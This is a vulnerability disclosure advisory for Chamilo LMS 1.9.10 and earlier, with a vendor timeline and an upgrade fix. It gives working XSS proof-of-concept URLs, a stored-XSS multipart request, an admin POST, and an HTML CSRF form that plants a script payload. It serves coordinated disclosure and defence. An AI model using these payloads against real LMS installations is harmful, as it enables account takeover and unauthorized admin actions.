I. Overview
========================================================
Chamilo LMS 1.9.10 or prior versions are prone to a multiple Cross-Site Scripting (Stored + Reflected) & CSRF vulnerabilities. These vulnerabilities allows an attacker to gain control over valid user accounts in LMS, perform operations on their behalf, redirect them to malicious sites, steal their credentials, and more.
II. Severity
========================================================
Rating: High
Remote: Yes
Authentication Require: Yes
CVE-ID:
III. Vendor's Description of Application
========================================================
Chamilo LMS, or Chamilo Learning Management System is a piece of software that allows you to create a virtual campus for the provision of online or semi-online training. It is distributed under the GNU/GPLv3+ license and its development process is public. All the Chamilo software products are entirely free (as in freedom), free (as in beer) and complete, and are production-ready without requiring any type of payment.
https://chamilo.org/chamilo-lms/
IV. Vulnerability Details & Exploit
========================================================
1) Multiple Reflected XSS Request
Request Method = GET
XSS PoC's:-
/main/calendar/agenda_list.php?type=personal%27%20onmouseover=%27confirm%280%29%27/%3E%3C!--
/main/messages/outbox.php?f=social"+onmouseover="confirm(0)
/main/mySpace/student.php?keyword=31337"+onmouseover=confirm(0)//&active=0&_qf__search_user=&submit=Search
/main/inc/lib/fckeditor/editor/plugins/ajaxfilemanager/ajax_get_file_listing.php?editor=stand_alone&view=thumbnail&search=1&search_name=admin&search_recursively=0&search_mtime_from=&search_mtime_to=&search_folder=;</script><script>confirm(0)</script>
/main/admin/configure_extensions.php?display=</script><script>confirm(0)</script>
/main/admin/course_category.php?action=add&category="/><script>confirm(0)</script>
/main/admin/session_edit.php?page=resume_session.php%22%20onmouseover=confirm%280%29//&id=1
b) User Agent Header XSS (Reflected)
GET /main/admin/system_status.php?section=webserver
User-Agent: <script>confirm(0)</script>
__________________________________________________________
2) Stored XSS
File Attachment Description parameter (legend[]) is vulnerable to Stored XSS By utilizing "social network" an attacker may send a crafted message to anybody with XSS payload in the file attachment description field (i.e legend[])
Request Method : POST
Location = /main/messages/new_message.php?f=social
Parameter = legend[]
Stored XSS PoC :-
POST /main/messages/new_message.php?f=social HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:36.0)
Gecko/20100101 Firefox/36.0
Accept: text/html,application/xhtml
+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/main/messages/new_message.php?f=social
Cookie: XXXXXXXXXXXXXXXXXXXXXX
Connection: keep-alive
Content-Type: multipart/form-data;
boundary=---------------------------8461144986726
Content-Length: 1023
-----------------------------8461144986726
Content-Disposition: form-data; name="users[]"
3
-----------------------------8461144986726
Content-Disposition: form-data; name="title"
Stored XSS Test Via Social network
-----------------------------8461144986726
Content-Disposition: form-data; name="content"
This is test message<BR>
-----------------------------8461144986726
Content-Disposition: form-data; name="attach_1"; filename="test.txt"
Content-Type: text/plain
I owned you !!!!
-----------------------------8461144986726
Content-Disposition: form-data; name="legend[]"
Cool File <script>confirm(0)</script>
-----------------------------8461144986726
Content-Disposition: form-data; name="compose"
-----------------------------8461144986726
Content-Disposition: form-data; name="_qf__compose_message"
-----------------------------8461144986726
Content-Disposition: form-data; name="sec_token"
42917ca29da38f60d49bbaf2ba89b1b9
-----------------------------8461144986726--
________________________________________________________________________
3) CSRF & Stored XSS Request
Method = POST
Location = /main/admin/session_add.php
Parameter = name
POST /main/admin/session_add.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:36.0)
Gecko/20100101 Firefox/36.0
Accept: text/html,application/xhtml
+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1//main/admin/session_add.php
Cookie:XXXXXXXXXXXXXXXXXXXXXX
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 231
formSent=1&name=<script>confirm(0)</script>&coach_username=rehan&session_category=0&nb_days_acess_before=0&nb_days_acess_after=0&start_limit=on&day_start=2&month_start=3&year_start=2015&end_limit=on&day_end=2&month_end=3&year_end=2016&session_visibility=2
CSRF PoC:-
<html>
<!-- CSRF Request With Stored XSS Payload -->
<body>
<form action="http://127.0.0.1/main/admin/session_add.php"
method="POST">
<input type="hidden" name="formSent" value="1" />
<input type="hidden" name="name"
value="Test<script>confirm(0)</script>" />
<input type="hidden" name="coach_username" value="admin" />
<input type="hidden" name="session_category" value="0" />
<input type="hidden" name="nb_days_acess_before"
value="0" />
<input type="hidden" name="nb_days_acess_after"
value="0" />
<input type="hidden" name="start_limit" value="on" />
<input type="hidden" name="day_start" value="2" />
<input type="hidden" name="month_start" value="3" />
<input type="hidden" name="year_start" value="2015" />
<input type="hidden" name="end_limit" value="on" />
<input type="hidden" name="day_end" value="2" />
<input type="hidden" name="month_end" value="3" />
<input type="hidden" name="year_end" value="2016" />
<input type="hidden" name="session_visibility" value="1" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
VI. Affected Systems
========================================================
Software: Chamilo LMS
Version: 1.9.10 and Prior
Solution (Fix): Upgrade to 1.9.11 (https://github.com/chamilo/chamilo-lms/)
VII. Vendor Response/Solution
========================================================
Vendor Contacted : 02/12/2015
Vendor Response : 02/12/2015
Patch Release: 03/17/2015
Advisory Release: 03/18/2015
VIII.Credits
========================================================
Discovered by Rehan Ahmed
knight_rehan@hotmail.com
